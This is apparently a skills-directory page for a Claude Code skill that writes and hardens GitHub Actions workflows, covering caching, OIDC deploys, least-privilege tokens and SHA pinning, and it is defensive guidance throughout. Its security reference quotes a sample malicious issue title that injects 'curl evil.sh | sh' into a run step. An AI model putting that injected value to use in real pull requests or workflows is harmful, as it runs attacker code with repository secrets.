DevOps & SRE No. 154Editor's pick

GitHub Actions skill for Claude Code

Faster CI, read-only tokens, zero stored cloud keys. Claude rewrites workflows so irrelevant changes skip CI, superseded runs cancel, and package and Docker caches make the warm path fast. Tokens default to read-only, deploys use OIDC with subject-restricted trust policies and protected environments, and untrusted PR text never reaches a shell. Results are linted with actionlint and zizmor and reported with before-and-after timings.

  • namegithub-actions
  • size227 lines · ≈1,950 tokens
  • files2
  • licenseMIT
  • updated

What Claude sees before loading it

This description is the only part of the skill that sits in context all the time. Claude reads it to decide when to load the full playbook below.

description: Writes, speeds up, and hardens GitHub Actions workflows — triggers and path filters, concurrency, dependency and Docker layer caching, matrices, reusable workflows and composite actions, OIDC federation to AWS/GCP/Azure, environments, least-privilege GITHUB_TOKEN permissions, and SHA-pinned actions. Use when creating or editing .github/workflows/*.yml, when CI is slow or flaky, when deploying from Actions to a cloud, or when reviewing workflows for script injection and pull_request_target risks.

Try asking

  • Our CI takes 12 minutes on every PR. Make it faster without dropping coverage
  • Set up deploys to AWS from GitHub Actions without storing access keys
  • Audit our workflows for pull_request_target and script injection problems

Use it when

  • You are creating or editing files in .github/workflows
  • CI is slow, redundant, or re-downloads dependencies every run
  • A workflow deploys to AWS, GCP, or Azure
  • You need a security review of workflows that touch forks or secrets

Skip it when

How to check the result

actionlint and zizmor report no findings, a test run passes on a branch, and the warm-cache duration is measured against the previous runs from gh run list.

The common mistake it prevents

Echoing a pull request title or branch name through ${{ }} directly inside a run step, which lets anyone opening a PR execute shell commands.

~/.claude/skills/github-actions/SKILL.md

--- name: github-actions description: Writes, speeds up, and hardens GitHub Actions workflows — triggers and path filters, concurrency, dependency and Docker layer caching,… license: MIT ---

A good workflow runs only when relevant files change, cancels superseded runs, restores caches so the warm path is fast, uses a read-only token by default, authenticates to clouds with OIDC instead of stored keys, and passes actionlint and a security lint.

Ground rules

  • Top-level permissions: contents: read; grant more per job only where needed.
  • Pin third-party actions to a full commit SHA with the version in a comment, and let Dependabot update them. Examples below show tags for readability only.
  • Never interpolate ${{ github.event.* }} user-controlled fields directly into run:; pass them through env:.
  • Cloud credentials come from OIDC (id-token: write), not long-lived secrets.
  • Deploy jobs run in a GitHub Environment with required reviewers for production.
  • Every job sets timeout-minutes.

Workflow

- [ ] 1. Read existing workflows and recent run times (gh run list)
- [ ] 2. Define triggers, path filters, concurrency
- [ ] 3. Set permissions per job
- [ ] 4. Add caching and parallelism (matrix, job split)
- [ ] 5. Extract repetition into reusable workflows / composite actions
- [ ] 6. Wire deploys via OIDC + environments
- [ ] 7. Lint (actionlint, zizmor), run, and compare timings

1. Inspect

ls .github/workflows/
gh run list --limit 20 --json name,conclusion,createdAt,updatedAt,event
gh run view <run-id> --log-failed
gh workflow run ci.yml --ref my-branch     # if it has workflow_dispatch

2–4. Baseline CI workflow

name: ci
on:
  pull_request:
    paths-ignore: ["docs/**", "**/*.md"]
  push:
    branches: [main]
  merge_group:
  workflow_dispatch:

permissions:
  contents: read

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

jobs:
  test:
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    strategy:
      fail-fast: false
      matrix:
        node: [20, 22, 24]
        include:
          - node: 22
            coverage: true
    steps:
      - uses: actions/checkout@v5
        with:
          persist-credentials: false
      - uses: actions/setup-node@v5
        with:
          node-version: ${{ matrix.node }}
          cache: npm
      - run: npm ci
      - run: npm test -- ${{ matrix.coverage && '--coverage' || '' }}
      - if: matrix.coverage
        uses: actions/upload-artifact@v4
        with:
          name: coverage
          path: coverage/
          retention-days: 7

Caching decisions:

StackCache
npm / pnpm / yarnsetup-node with cache: (caches the package store, not node_modules)
Python pip / uvsetup-python with cache: pip; astral-sh/setup-uv with enable-cache: true
Gosetup-go caches modules and build cache by default
Gradle / Mavensetup-java cache: or gradle/actions/setup-gradle
Custom (tool binaries, build outputs)actions/cache keyed on hashFiles(...) with restore-keys fallback
Docker imagesdocker/build-push-action with cache-from: type=gha and cache-to: type=gha,mode=max

Speed levers in order: skip irrelevant runs (paths, concurrency) -> cache -> split slow jobs and run them in parallel -> shard tests via matrix -> larger runners.

5. Reuse

Reusable workflow (whole jobs) — .github/workflows/deploy.yml:

on:
  workflow_call:
    inputs:
      environment: { type: string, required: true }
    secrets:
      SLACK_WEBHOOK: { required: false }

Caller:

jobs:
  deploy-staging:
    uses: ./.github/workflows/deploy.yml
    with: { environment: staging }
    secrets: inherit

Composite action (shared steps) lives in .github/actions/<name>/action.yml with runs: using: composite; every run step there needs an explicit shell: bash.

NeedUse
Share steps within jobsComposite action
Share entire jobs with their own runners, environments, permissionsReusable workflow
Share across reposEither, referenced as org/repo/path@<sha>

6. Deploy with OIDC

jobs:
  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-24.04
    timeout-minutes: 20
    environment: production
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@v5
        with: { persist-credentials: false }
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-prod
          aws-region: eu-west-1
      - run: ./scripts/deploy.sh

The IAM role trust policy must restrict the subject, e.g. "token.actions.githubusercontent.com:sub": "repo:acme/shop:environment:production" with aud = sts.amazonaws.com. A trust policy matching only the org (repo:acme/*) lets any repo’s workflow assume the role. GCP uses google-github-actions/auth with a Workload Identity Provider; Azure uses azure/login with federated credentials.

7. Lint and verify

actionlint                         # syntax, expressions, shellcheck on run: blocks
zizmor .github/workflows/          # security audit: injection, excessive permissions, unpinned actions
gh run watch                       # follow the triggered run

Compare total and per-job duration before and after on the same kind of event; report the warm-cache time, not the first run.

Security essentials

Read references/security-hardening.md before touching workflows that use pull_request_target, workflow_run, self-hosted runners, or that publish packages/releases. The short list:

  • Script injection: unsafe run: echo "${{ github.event.pull_request.title }}"; safe env: { TITLE: "${{ github.event.pull_request.title }}" } then "$TITLE".
  • pull_request_target runs with secrets and a write token in the context of the base repo. Never check out and execute the PR’s head code in it.
  • persist-credentials: false on checkout unless a later step must push.
  • Secrets are not passed to workflows triggered from forks; design fork CI to need none.

Useful expressions and files

- id: meta
  run: echo "version=$(jq -r .version package.json)" >> "$GITHUB_OUTPUT"
- run: echo "Deployed ${{ steps.meta.outputs.version }}" >> "$GITHUB_STEP_SUMMARY"
- if: failure() && github.ref == 'refs/heads/main'
  run: ./scripts/notify-failure.sh
- if: contains(github.event.pull_request.labels.*.name, 'run-e2e')
  run: npm run e2e

Gotchas

  • paths/paths-ignore on a workflow used as a required status check leaves the check pending forever when skipped; use a job-level filter (e.g. a changes job) or make an always-running summary job the required check.
  • cancel-in-progress: true on main pushes can cancel a deploy midway; scope it to PRs.
  • Cache keys without the OS or lockfile hash restore incompatible caches.
  • Artifacts v4 names must be unique per run; matrix jobs need name: cov-${{ matrix.node }}.
  • schedule runs only on the default branch and is disabled after 60 days of repo inactivity.
  • Workflows changed in a PR from a fork do not get secrets; test secret-dependent logic on a branch in the main repo.
  • GITHUB_TOKEN pushes do not trigger other workflows (by design); use a GitHub App token if a chained trigger is required.
  • ubuntu-latest moves to new images over time; pin ubuntu-24.04 when reproducibility matters.

Output

**Workflows changed:** ci.yml (rewritten), deploy.yml (new reusable)
**Permissions:** default contents:read; deploy job adds id-token:write
**Caching:** npm via setup-node, Docker via gha cache
**Timing (warm, PR):** 11m40s -> 4m05s (lint and test parallel, 3-way test shard)
**Security:** actionlint clean, zizmor 0 findings, all actions SHA-pinned, no AWS keys in secrets

Bundled files

Loaded only when a step in the skill needs them. Review them here before installing.

references/security-hardening.md 135 lines · 4.8 KB
# GitHub Actions security hardening

Read this for workflows that handle untrusted input (forks, issue/PR text), publish
artifacts or releases, deploy, or run on self-hosted runners.

## Threat model in one table

| Entry point | Risk | Control |
|---|---|---|
| PR title/body, branch name, issue comment, commit message | Shell injection via `${{ }}` in `run:` | Pass via `env:`, quote `"$VAR"` |
| `pull_request_target` | Fork code runs with secrets + write token | Never checkout `github.event.pull_request.head.sha` and run it |
| `workflow_run` | Downloads artifacts produced by untrusted PR runs | Treat artifacts as data; validate before use; never execute |
| Third-party actions | Tag moved to malicious commit (tj-actions incident, 2025) | Pin full SHA; review diffs on update |
| Over-scoped `GITHUB_TOKEN` | Compromised step can push, release, edit issues | `permissions:` minimal per job |
| Long-lived cloud keys in secrets | Exfiltration grants persistent access | OIDC with subject-restricted trust |
| Self-hosted runners on public repos | Fork PRs execute on your machines | Use GitHub-hosted runners for public repos, or ephemeral isolated runners |
| Cache poisoning | Untrusted job writes a cache later restored by a privileged job | Do not restore caches in release jobs, or key them so PR caches cannot match |

## Script injection

Unsafe:

```yaml
- run: |
    echo "Checking ${{ github.event.issue.title }}"
```

A title like `"; curl evil.sh | sh; echo "` executes. Safe:

```yaml
- env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    echo "Checking $ISSUE_TITLE"
```

Same rule for `github.head_ref`, `github.event.comment.body`, `github.event.review.body`,
`github.event.pages.*.page_name`, `github.event.commits.*.message`, and
`github.event.head_commit.author.*`. `actions/github-script` has the same issue if you
template `${{ }}` into the script body; read from `context` instead.

## pull_request_target safely

Use it only for jobs that need write access on fork PRs without running PR code
(labeling, commenting, triage):

```yaml
on:
  pull_request_target:
    types: [opened, synchronize]
permissions:
  pull-requests: write
jobs:
  label:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/labeler@v5        # pin SHA; reads config from base branch
```

If PR code must be built with privileges, split it: an unprivileged `pull_request`
workflow builds and uploads an artifact; a `workflow_run` workflow downloads it as
data, validates it, and posts results. Never `npm install` or run scripts from the PR
in the privileged workflow.

## Pinning and updates

```yaml
- uses: actions/checkout@<40-char-sha> # v5.0.0
```

`.github/dependabot.yml`:

```yaml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule: { interval: weekly }
    groups:
      actions: { patterns: ["*"] }
```

Organization policy can require SHA pinning and an allowlist of actions.

## Token permissions reference

| Job does | Needs |
|---|---|
| Checkout, build, test | `contents: read` |
| Comment on PR | `pull-requests: write` |
| Create release / push tag | `contents: write` |
| Push to GHCR | `packages: write` |
| OIDC to cloud | `id-token: write` |
| Upload SARIF | `security-events: write` |
| Artifact attestations / provenance | `id-token: write`, `attestations: write` |

## OIDC trust policy (AWS)

```json
{
  "Effect": "Allow",
  "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:acme/shop:environment:production"
    }
  }
}
```

Subject formats: `repo:ORG/REPO:ref:refs/heads/main`, `repo:ORG/REPO:environment:NAME`,
`repo:ORG/REPO:pull_request`. Prefer environment-scoped subjects for deploy roles so
environment protection rules gate the credentials.

## Supply chain for releases

- Build once, promote the same artifact through environments.
- Generate provenance with `actions/attest-build-provenance` and verify with
  `gh attestation verify`.
- npm: publish with `npm publish --provenance` (requires `id-token: write`) or trusted
  publishing; PyPI: trusted publishing via `pypa/gh-action-pypi-publish` with OIDC, no
  API token.

## Audit checklist

- [ ] Top-level `permissions` present and minimal
- [ ] No `${{ github.event.* }}` user text inside `run:` or github-script bodies
- [ ] No `pull_request_target` + checkout of PR head
- [ ] All third-party actions SHA-pinned; Dependabot configured for actions
- [ ] `persist-credentials: false` where pushing is not needed
- [ ] Cloud auth via OIDC with repo + environment subject restriction
- [ ] Production deploys gated by an Environment with reviewers
- [ ] `zizmor` and `actionlint` clean

About this skill

Written and maintained by the Claude Skills editors to the same editorial standard as every skill in the directory: a selective trigger, a real workflow, known pitfalls and a verification step. First published , last updated . MIT licensed.

esc